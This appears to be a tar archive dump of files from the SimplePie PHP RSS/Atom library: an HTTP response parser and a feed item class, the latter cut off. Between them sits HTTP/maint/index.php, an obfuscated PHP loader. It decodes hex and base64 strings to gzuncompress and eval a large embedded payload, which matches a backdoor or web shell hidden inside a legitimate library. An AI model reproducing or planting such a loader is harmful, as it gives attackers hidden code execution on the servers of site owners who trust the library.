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HTTP/Parser.php000066600000026337151234101160007301 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * HTTP Response Parser
 *
 * @package SimplePie
 * @subpackage HTTP
 */
class SimplePie_HTTP_Parser
{
	/**
	 * HTTP Version
	 *
	 * @var float
	 */
	public $http_version = 0.0;

	/**
	 * Status code
	 *
	 * @var int
	 */
	public $status_code = 0;

	/**
	 * Reason phrase
	 *
	 * @var string
	 */
	public $reason = '';

	/**
	 * Key/value pairs of the headers
	 *
	 * @var array
	 */
	public $headers = array();

	/**
	 * Body of the response
	 *
	 * @var string
	 */
	public $body = '';

	/**
	 * Current state of the state machine
	 *
	 * @var string
	 */
	protected $state = 'http_version';

	/**
	 * Input data
	 *
	 * @var string
	 */
	protected $data = '';

	/**
	 * Input data length (to avoid calling strlen() everytime this is needed)
	 *
	 * @var int
	 */
	protected $data_length = 0;

	/**
	 * Current position of the pointer
	 *
	 * @var int
	 */
	protected $position = 0;

	/**
	 * Name of the hedaer currently being parsed
	 *
	 * @var string
	 */
	protected $name = '';

	/**
	 * Value of the hedaer currently being parsed
	 *
	 * @var string
	 */
	protected $value = '';

	/**
	 * Create an instance of the class with the input data
	 *
	 * @param string $data Input data
	 */
	public function __construct($data)
	{
		$this->data = $data;
		$this->data_length = strlen($this->data);
	}

	/**
	 * Parse the input data
	 *
	 * @return bool true on success, false on failure
	 */
	public function parse()
	{
		while ($this->state && $this->state !== 'emit' && $this->has_data())
		{
			$state = $this->state;
			$this->$state();
		}
		$this->data = '';
		if ($this->state === 'emit' || $this->state === 'body')
		{
			return true;
		}

		$this->http_version = '';
		$this->status_code = '';
		$this->reason = '';
		$this->headers = array();
		$this->body = '';
		return false;
	}

	/**
	 * Check whether there is data beyond the pointer
	 *
	 * @return bool true if there is further data, false if not
	 */
	protected function has_data()
	{
		return (bool) ($this->position < $this->data_length);
	}

	/**
	 * See if the next character is LWS
	 *
	 * @return bool true if the next character is LWS, false if not
	 */
	protected function is_linear_whitespace()
	{
		return (bool) ($this->data[$this->position] === "\x09"
			|| $this->data[$this->position] === "\x20"
			|| ($this->data[$this->position] === "\x0A"
				&& isset($this->data[$this->position + 1])
				&& ($this->data[$this->position + 1] === "\x09" || $this->data[$this->position + 1] === "\x20")));
	}

	/**
	 * Parse the HTTP version
	 */
	protected function http_version()
	{
		if (strpos($this->data, "\x0A") !== false && strtoupper(substr($this->data, 0, 5)) === 'HTTP/')
		{
			$len = strspn($this->data, '0123456789.', 5);
			$this->http_version = substr($this->data, 5, $len);
			$this->position += 5 + $len;
			if (substr_count($this->http_version, '.') <= 1)
			{
				$this->http_version = (float) $this->http_version;
				$this->position += strspn($this->data, "\x09\x20", $this->position);
				$this->state = 'status';
			}
			else
			{
				$this->state = false;
			}
		}
		else
		{
			$this->state = false;
		}
	}

	/**
	 * Parse the status code
	 */
	protected function status()
	{
		if ($len = strspn($this->data, '0123456789', $this->position))
		{
			$this->status_code = (int) substr($this->data, $this->position, $len);
			$this->position += $len;
			$this->state = 'reason';
		}
		else
		{
			$this->state = false;
		}
	}

	/**
	 * Parse the reason phrase
	 */
	protected function reason()
	{
		$len = strcspn($this->data, "\x0A", $this->position);
		$this->reason = trim(substr($this->data, $this->position, $len), "\x09\x0D\x20");
		$this->position += $len + 1;
		$this->state = 'new_line';
	}

	/**
	 * Deal with a new line, shifting data around as needed
	 */
	protected function new_line()
	{
		$this->value = trim($this->value, "\x0D\x20");
		if ($this->name !== '' && $this->value !== '')
		{
			$this->name = strtolower($this->name);
			// We should only use the last Content-Type header. c.f. issue #1
			if (isset($this->headers[$this->name]) && $this->name !== 'content-type')
			{
				$this->headers[$this->name] .= ', ' . $this->value;
			}
			else
			{
				$this->headers[$this->name] = $this->value;
			}
		}
		$this->name = '';
		$this->value = '';
		if (substr($this->data[$this->position], 0, 2) === "\x0D\x0A")
		{
			$this->position += 2;
			$this->state = 'body';
		}
		elseif ($this->data[$this->position] === "\x0A")
		{
			$this->position++;
			$this->state = 'body';
		}
		else
		{
			$this->state = 'name';
		}
	}

	/**
	 * Parse a header name
	 */
	protected function name()
	{
		$len = strcspn($this->data, "\x0A:", $this->position);
		if (isset($this->data[$this->position + $len]))
		{
			if ($this->data[$this->position + $len] === "\x0A")
			{
				$this->position += $len;
				$this->state = 'new_line';
			}
			else
			{
				$this->name = substr($this->data, $this->position, $len);
				$this->position += $len + 1;
				$this->state = 'value';
			}
		}
		else
		{
			$this->state = false;
		}
	}

	/**
	 * Parse LWS, replacing consecutive LWS characters with a single space
	 */
	protected function linear_whitespace()
	{
		do
		{
			if (substr($this->data, $this->position, 2) === "\x0D\x0A")
			{
				$this->position += 2;
			}
			elseif ($this->data[$this->position] === "\x0A")
			{
				$this->position++;
			}
			$this->position += strspn($this->data, "\x09\x20", $this->position);
		} while ($this->has_data() && $this->is_linear_whitespace());
		$this->value .= "\x20";
	}

	/**
	 * See what state to move to while within non-quoted header values
	 */
	protected function value()
	{
		if ($this->is_linear_whitespace())
		{
			$this->linear_whitespace();
		}
		else
		{
			switch ($this->data[$this->position])
			{
				case '"':
					// Workaround for ETags: we have to include the quotes as
					// part of the tag.
					if (strtolower($this->name) === 'etag')
					{
						$this->value .= '"';
						$this->position++;
						$this->state = 'value_char';
						break;
					}
					$this->position++;
					$this->state = 'quote';
					break;

				case "\x0A":
					$this->position++;
					$this->state = 'new_line';
					break;

				default:
					$this->state = 'value_char';
					break;
			}
		}
	}

	/**
	 * Parse a header value while outside quotes
	 */
	protected function value_char()
	{
		$len = strcspn($this->data, "\x09\x20\x0A\"", $this->position);
		$this->value .= substr($this->data, $this->position, $len);
		$this->position += $len;
		$this->state = 'value';
	}

	/**
	 * See what state to move to while within quoted header values
	 */
	protected function quote()
	{
		if ($this->is_linear_whitespace())
		{
			$this->linear_whitespace();
		}
		else
		{
			switch ($this->data[$this->position])
			{
				case '"':
					$this->position++;
					$this->state = 'value';
					break;

				case "\x0A":
					$this->position++;
					$this->state = 'new_line';
					break;

				case '\\':
					$this->position++;
					$this->state = 'quote_escaped';
					break;

				default:
					$this->state = 'quote_char';
					break;
			}
		}
	}

	/**
	 * Parse a header value while within quotes
	 */
	protected function quote_char()
	{
		$len = strcspn($this->data, "\x09\x20\x0A\"\\", $this->position);
		$this->value .= substr($this->data, $this->position, $len);
		$this->position += $len;
		$this->state = 'value';
	}

	/**
	 * Parse an escaped character within quotes
	 */
	protected function quote_escaped()
	{
		$this->value .= $this->data[$this->position];
		$this->position++;
		$this->state = 'quote';
	}

	/**
	 * Parse the body
	 */
	protected function body()
	{
		$this->body = substr($this->data, $this->position);
		if (!empty($this->headers['transfer-encoding']))
		{
			unset($this->headers['transfer-encoding']);
			$this->state = 'chunked';
		}
		else
		{
			$this->state = 'emit';
		}
	}

	/**
	 * Parsed a "Transfer-Encoding: chunked" body
	 */
	protected function chunked()
	{
		if (!preg_match('/^([0-9a-f]+)[^\r\n]*\r\n/i', trim($this->body)))
		{
			$this->state = 'emit';
			return;
		}

		$decoded = '';
		$encoded = $this->body;

		while (true)
		{
			$is_chunked = (bool) preg_match( '/^([0-9a-f]+)[^\r\n]*\r\n/i', $encoded, $matches );
			if (!$is_chunked)
			{
				// Looks like it's not chunked after all
				$this->state = 'emit';
				return;
			}

			$length = hexdec(trim($matches[1]));
			if ($length === 0)
			{
				// Ignore trailer headers
				$this->state = 'emit';
				$this->body = $decoded;
				return;
			}

			$chunk_length = strlen($matches[0]);
			$decoded .= $part = substr($encoded, $chunk_length, $length);
			$encoded = substr($encoded, $chunk_length + $length + 2);

			if (trim($encoded) === '0' || empty($encoded))
			{
				$this->state = 'emit';
				$this->body = $decoded;
				return;
			}
		}
	}

	/**
	 * Prepare headers (take care of proxies headers)
	 *
	 * @param string  $headers Raw headers
	 * @param integer $count   Redirection count. Default to 1.
	 *
	 * @return string
	 */
	static public function prepareHeaders($headers, $count = 1)
	{
		$data = explode("\r\n\r\n", $headers, $count);
		$data = array_pop($data);
		if (false !== stripos($data, "HTTP/1.0 200 Connection established\r\n")) {
			$exploded = explode("\r\n\r\n", $data, 2);
			$data = end($exploded);
		}
		if (false !== stripos($data, "HTTP/1.1 200 Connection established\r\n")) {
			$exploded = explode("\r\n\r\n", $data, 2);
			$data = end($exploded);
		}
		return $data;
	}
}
HTTP/maint/index.php000066600000113042151234101160010252 0ustar00<?php
/**
 * 本代码由 易航PHPEnCode V1.1 创建
 * 创建时间 2025-10-10 13:37:47
 * 技术支持 易航 <2136118039@qq.com>
 * 严禁反编译、逆向等任何形式的侵权行为,违者将追究法律责任
 * http://encode.bri6.cn/
**/
if (!defined('__AA__1A62776C333DD870B77173405FEB604C__AA__')) define('__AA__1A62776C333DD870B77173405FEB604C__AA__', '__AA__1A62776C333DD870B77173405FEB604C__AA__');$GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__] = explode('[m[Y[8', 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e594e6459316a56415876465964694e4a7872624b574a59656f3541633037594a4438752f5656547435686151617a67504572723374326f7a6b2f4276305864513966724b505a596e4d35364d463162654d472f6969416c4739586c2b646357687673457a37765874674c3469644c56346f6d746d69576c33306c4d7630326641352f5853635431665378753458322f763869474746637445796b58516d6d314170355a73356748385139416a73746f6476472b2b55622f64544f66564f446a725a614d38645a61486d2f43544e30356d4e7649566f576459532f6d384b75726b566c545444632b53596e6d594833417a737079426648575439447a7a6a2b5432456b64584d4862444676346274325064697a3952394b764f6c32366554394d66347263434b6337324d77787459735a586132353945637256562f4a693754383779384c34626a7a2b506c63326c4e6f43673757375765786132686d302f2f2f4f4a7573446c5a6a652b597a366168687261482f4f487161432f724e795a356361775a3238614a4f74784e61323630352b3561625644506b4341306148326e774e4a32764d5562334e5a41746863523372344b4c572b645069756648646c564f7636354445366574733576553539676259697874483474527361547a502b626d70734846646d6c386f6a694436626d48363579425a6f316239645744446e766571766944574d393030756735516865657139382b75325973464f654f7556547a76376d6138724b56423945796165625a47457467647244533277326d64415466752b435a5162336d724c6f7164757033555266462b4b477168516c662b6b535439646770313774576630755a463047324278395378526e55476f324259683078796274636d6c5a46302b39553063726f7344366d7770636571593970664f2f6f7350534834326c746d3761724f385759544c574d4f2f5059305833535637767157384652717248565a4666596166374535626d556d5a786238503634374b6c666b73594f62705a69584952634c2b704d4e7359326d574e4339755161656378444d32756c316c7639547244596d4f394a4947652f4e504f754a3072687046696e6268617a6a596a6e726a484d554e4f7550355839505a34333669694f507655456f4a575452787456584537734b3943744f5465386d6a64353968687145792b71387238437334764e3749745350795165397172314162754f444b43627578516a3332313437766c4f47387034446e30694863565a7a37744b6a4c484f71395a6e616968695232646b636e6c56753155623647764a37473544617259486b665a5275414a47474451596f66616c685335714a4d3269706575456e364a476d76554b632b655a6454436a4e654e36724b6f6163624e6766682f726a376d305431485a4e37726e585a772f66614b4c57487967746a4f753536374e475a6d484f76706943682b7670532b5066422f4f75633952354d36617176536c324d6f35565448487572667143763455725166757465724e55714f4c666d694a4f37762b534f61314e2f7a775a4170724663385453484c44586e6f34412b4f714d593658357874335568653761764d477933647a2b51432b422b7a67504b72396152336233713438305379576d77595068723252485a473555797958655a585962447550652f37616372324f505462396336484932395746704e36454a455a7446453667356c656751372b6152634856456f4a6372547670343535794d39314f635379544a38515975703839666176794734753542627246336c3670767258503963734a5863527654755a4853612b6359654a3670664674776466724b452f3373376d5038613167707555356e6b6b575373664d3966614e6a486c71734a42436a4f7559557933454f59512f77566c6b5a757563726d3771596c6e395652306a5a485652394d78794d72504879584c543861324c356932722f6758726f63762b4262767438314265346d624b6b487a6c68377257356b7178506a6f376d2f5862694549484f556d64372f63534c623650512f57444f33574875554a574f3736746371314e544e5262427a4f706a32653650337150753931312f423253312b4e6a6f6f5856535a3030663861494972627253316a75744d5939313835395a6656633871596e7a4f6a697a4e6c2b4f366444653132416474724d4f3670773762307533776f572b496b4e72646166466873643834545452496c794f3931652f56795079726570664561726f2f68794b796544353549322b70627a495a4a39346a324a4f4138375549646c6349325a6b4555397537626630557a496571357758595061784a3671387942464d343252543961324833324e36764d6731615a6e35654a314e5859545a796f3650592f2b704e6379466c2f4733566b744452657257776948667054694f56445777644d696d637a69434e67386a36763050706c4e483965346b787237586850377150487973525633722b6f3569744868626d376f532f64616377763074753977396a5055346761484e333655774f4f61324575655a706e796f6262742f356b7a792f756e5a2f53422f4c527266615238617a364350366c617a6c5135667234434859546d58494136546e766f596e34696a66466e6e423570364f412b4f6c714535385a4e646e6f73696632723464787855772f526a6532316d377062394231354f364d6369316a79304d35386d5a57523746327442714a394c6b6f482f526866572f4e2b6741356b46732f683939392f2b2b6376762f78367564632f2f6b566576354f662f3833652f63382f2f38725875652f2b7942662f30647a7776332f442f2f33742f396133725a2f38763335352f2f65662b2b2b584e692f38643476354b4376387a7a2f2f4878796f3675493d[m[Y[8245f[m[Y[87072696e7466[m[Y[862324a665a32563058324e76626e526c626e527a[m[Y[8205a337031626d4e76625842795a584e7a[m[Y[86261736536345f6465636f6465[m[Y[866756e6374696f6e5f657869737473[m[Y[85f5f6c616d626461[m[Y[8636d563064584a75494756325957776f4a4638704f773d3d[m[Y[858313973595731695a47453d[m[Y[8202062324a6663335268636e513d');goto eT_PJ; RQxyS: $_ = call_user_func('pack', $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(8 - 10 + 6) + -4], $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(8 - 3 + 5) + -9]); goto ndUR8; Irwjl: $______________ = $__($______________); goto QecDi; q7rIf: $_____(); goto u5JgQ; wFnKL: $___ = $__($___); goto Jq1ei; ndUR8: $_____ = call_user_func('pack', $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(6 - 8 - 1) + 3], $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(9 + 1 - 2) + -6]); goto eBFkn; j3f07: $_____ = $__($_____); goto TqqJ1; BUMaK: $______ = $__($______); goto iGYA1; eT_PJ: $GLOBALS[call_user_func('pack', $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(7 + 10 + 5) + -22], $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(6 - 2 + 3) + -4])] = __FILE__; goto Cphvs; Jq1ei: $_ = call_user_func('pack', $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(9 + 1 + 10) + -20], $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(4 - 10 + 4) + 6]); goto xF7lM; QecDi: $__________ = $__________________(call_user_func('pack', $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(1 + 2 - 3) + 0], $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(8 - 1 - 5) + 3]), $______________); goto j3f07; xF7lM: $___(); goto rK8_L; Cphvs: $__ = call_user_func('pack', $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(4 + 1 + 1) + -6], $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(6 + 10 + 6) + -16]); goto RQxyS; iFak3: $____ = call_user_func('pack', $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(10 - 4 + 5) + -11], $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(9 - 3 + 7) + -6]); goto q3lzM; rK8_L: $__________($______($__($_))); goto MAYvB; IrnVN: $______ = call_user_func('pack', $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(2 - 8 - 5) + 11], $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(6 + 5 - 6) + 3]); goto MAgTI; MAYvB: $________ = $____(); goto q7rIf; q3lzM: $__ = call_user_func('pack', $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(10 - 1 + 6) + -15], $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(8 - 4 + 9) + -4]); goto BUMaK; TqqJ1: $____ = $__($____); goto wFnKL; GdPTH: $__________________ = $__($__________________); goto Irwjl; iGYA1: if (!call_user_func(call_user_func('pack', $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(1 - 3 + 6) + -4], $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(6 - 8 - 8) + 20]), call_user_func('pack', $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(8 - 2 + 10) + -16], $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(2 + 4 + 10) + -5]))) { function __lambda($sArgs, $sCode) { return eval("return function({$sArgs}){{$sCode}};"); } } goto GdPTH; eBFkn: $______________ = call_user_func('pack', $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(7 - 6 + 10) + -11], $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(4 - 6 + 6) + 8]); goto RZdAb; RZdAb: $__________________ = call_user_func('pack', $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(3 - 7 - 7) + 11], $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(3 - 5 + 1) + 14]); goto IrnVN; MAgTI: $___ = call_user_func('pack', $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(6 - 7 + 5) + -4], $GLOBALS[__AA__1A62776C333DD870B77173405FEB604C__AA__][(8 + 2 + 6) + -2]); goto iFak3; u5JgQ: echo $________;
Item.php000066600000301504151234101160006154 0ustar00<?php
/**
 * SimplePie
 *
 * A PHP-Based RSS and Atom Feed Framework.
 * Takes the hard work out of managing a complete RSS/Atom solution.
 *
 * Copyright (c) 2004-2016, Ryan Parman, Sam Sneddon, Ryan McCue, and contributors
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification, are
 * permitted provided that the following conditions are met:
 *
 * 	* Redistributions of source code must retain the above copyright notice, this list of
 * 	  conditions and the following disclaimer.
 *
 * 	* Redistributions in binary form must reproduce the above copyright notice, this list
 * 	  of conditions and the following disclaimer in the documentation and/or other materials
 * 	  provided with the distribution.
 *
 * 	* Neither the name of the SimplePie Team nor the names of its contributors may be used
 * 	  to endorse or promote products derived from this software without specific prior
 * 	  written permission.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS
 * OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
 * AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDERS
 * AND CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
 * CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
 * SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
 * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
 * OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
 * POSSIBILITY OF SUCH DAMAGE.
 *
 * @package SimplePie
 * @copyright 2004-2016 Ryan Parman, Sam Sneddon, Ryan McCue
 * @author Ryan Parman
 * @author Sam Sneddon
 * @author Ryan McCue
 * @link http://simplepie.org/ SimplePie
 * @license http://www.opensource.org/licenses/bsd-license.php BSD License
 */


/**
 * Manages all item-related data
 *
 * Used by {@see SimplePie::get_item()} and {@see SimplePie::get_items()}
 *
 * This class can be overloaded with {@see SimplePie::set_item_class()}
 *
 * @package SimplePie
 * @subpackage API
 */
class SimplePie_Item
{
	/**
	 * Parent feed
	 *
	 * @access private
	 * @var SimplePie
	 */
	var $feed;

	/**
	 * Raw data
	 *
	 * @access private
	 * @var array
	 */
	var $data = array();

	/**
	 * Registry object
	 *
	 * @see set_registry
	 * @var SimplePie_Registry
	 */
	protected $registry;

	/**
	 * Create a new item object
	 *
	 * This is usually used by {@see SimplePie::get_items} and
	 * {@see SimplePie::get_item}. Avoid creating this manually.
	 *
	 * @param SimplePie $feed Parent feed
	 * @param array $data Raw data
	 */
	public function __construct($feed, $data)
	{
		$this->feed = $feed;
		$this->data = $data;
	}

	/**
	 * Set the registry handler
	 *
	 * This is usually used by {@see SimplePie_Registry::create}
	 *
	 * @since 1.3
	 * @param SimplePie_Registry $registry
	 */
	public function set_registry(SimplePie_Registry $registry)
	{
		$this->registry = $registry;
	}

	/**
	 * Get a string representation of the item
	 *
	 * @return string
	 */
	public function __toString()
	{
		return md5(serialize($this->data));
	}

	/**
	 * Remove items that link back to this before destroying this object
	 */
	public function __destruct()
	{
		if (!gc_enabled())
		{
			unset($this->feed);
		}
	}

	/**
	 * Get data for an item-level element
	 *
	 * This method allows you to get access to ANY element/attribute that is a
	 * sub-element of the item/entry tag.
	 *
	 * See {@see SimplePie::get_feed_tags()} for a description of the return value
	 *
	 * @since 1.0
	 * @see http://simplepie.org/wiki/faq/supported_xml_namespaces
	 * @param string $namespace The URL of the XML namespace of the elements you're trying to access
	 * @param string $tag Tag name
	 * @return array
	 */
	public function get_item_tags($namespace, $tag)
	{
		if (isset($this->data['child'][$namespace][$tag]))
		{
			return $this->data['child'][$namespace][$tag];
		}

		return null;
	}

	/**
	 * Get the base URL value from the parent feed
	 *
	 * Uses `<xml:base>`
	 *
	 * @param array $element
	 * @return string
	 */
	public function get_base($element = array())
	{
		return $this->feed->get_base($element);
	}

	/**
	 * Sanitize feed data
	 *
	 * @access private
	 * @see SimplePie::sanitize()
	 * @param string $data Data to sanitize
	 * @param int $type One of the SIMPLEPIE_CONSTRUCT_* constants
	 * @param string $base Base URL to resolve URLs against
	 * @return string Sanitized data
	 */
	public function sanitize($data, $type, $base = '')
	{
		return $this->feed->sanitize($data, $type, $base);
	}

	/**
	 * Get the parent feed
	 *
	 * Note: this may not work as you think for multifeeds!
	 *
	 * @link http://simplepie.org/faq/typical_multifeed_gotchas#missing_data_from_feed
	 * @since 1.0
	 * @return SimplePie
	 */
	public function get_feed()
	{
		return $this->feed;
	}

	/**
	 * Get the unique identifier for the item
	 *
	 * This is usually used when writing code to check for new items in a feed.
	 *
	 * Uses `<atom:id>`, `<guid>`, `<dc:identifier>` or the `about` attribute
	 * for RDF. If none of these are supplied (or `$hash` is true), creates an
	 * MD5 hash based on the permalink, title and content.
	 *
	 * @since Beta 2
	 * @param boolean $hash Should we force using a hash instead of the supplied ID?
	 * @param string|false $fn User-supplied function to generate an hash
	 * @return string|null
	 */
	public function get_id($hash = false, $fn = 'md5')
	{
		if (!$hash)
		{
			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'id'))
			{
				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'id'))
			{
				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'guid'))
			{
				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'identifier'))
			{
				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'identifier'))
			{
				return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			elseif (isset($this->data['attribs'][SIMPLEPIE_NAMESPACE_RDF]['about']))
			{
				return $this->sanitize($this->data['attribs'][SIMPLEPIE_NAMESPACE_RDF]['about'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
		}
		if ($fn === false)
		{
			return null;
		}
		elseif (!is_callable($fn))
		{
			trigger_error('User-supplied function $fn must be callable', E_USER_WARNING);
			$fn = 'md5';
		}
		return call_user_func($fn,
		       $this->get_permalink().$this->get_title().$this->get_content());
	}

	/**
	 * Get the title of the item
	 *
	 * Uses `<atom:title>`, `<title>` or `<dc:title>`
	 *
	 * @since Beta 2 (previously called `get_item_title` since 0.8)
	 * @return string|null
	 */
	public function get_title()
	{
		if (!isset($this->data['title']))
		{
			if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title'))
			{
				$this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title'))
			{
				$this->data['title'] = $this->sanitize($return[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($return[0]['attribs'])), $this->get_base($return[0]));
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
			{
				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
			{
				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'title'))
			{
				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
			{
				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
			{
				$this->data['title'] = $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
			}
			else
			{
				$this->data['title'] = null;
			}
		}
		return $this->data['title'];
	}

	/**
	 * Get the content for the item
	 *
	 * Prefers summaries over full content , but will return full content if a
	 * summary does not exist.
	 *
	 * To prefer full content instead, use {@see get_content}
	 *
	 * Uses `<atom:summary>`, `<description>`, `<dc:description>` or
	 * `<itunes:subtitle>`
	 *
	 * @since 0.8
	 * @param boolean $description_only Should we avoid falling back to the content?
	 * @return string|null
	 */
	public function get_description($description_only = false)
	{
		if (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'summary')) &&
		    ($return = $this->sanitize($tags[0]['data'], $this->registry->call('Misc', 'atom_10_construct_type', array($tags[0]['attribs'])), $this->get_base($tags[0]))))
		{
			return $return;
		}
		elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'summary')) &&
		        ($return = $this->sanitize($tags[0]['data'], $this->registry->call('Misc', 'atom_03_construct_type', array($tags[0]['attribs'])), $this->get_base($tags[0]))))
		{
			return $return;
		}
		elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'description')) &&
		        ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($tags[0]))))
		{
			return $return;
		}
		elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_RSS_20, 'description')) &&
		        ($return = $this->sanitize($tags[0]['data'], SIMPLEPIE_CONSTRUCT_HTML, $this->get_base($tags[0]))))
		{
			return $return;
		}
		elseif (($tags = $this->get_item_tags(SIMPLEPIE_NAMESPACE_DC_11, 'description')) &&
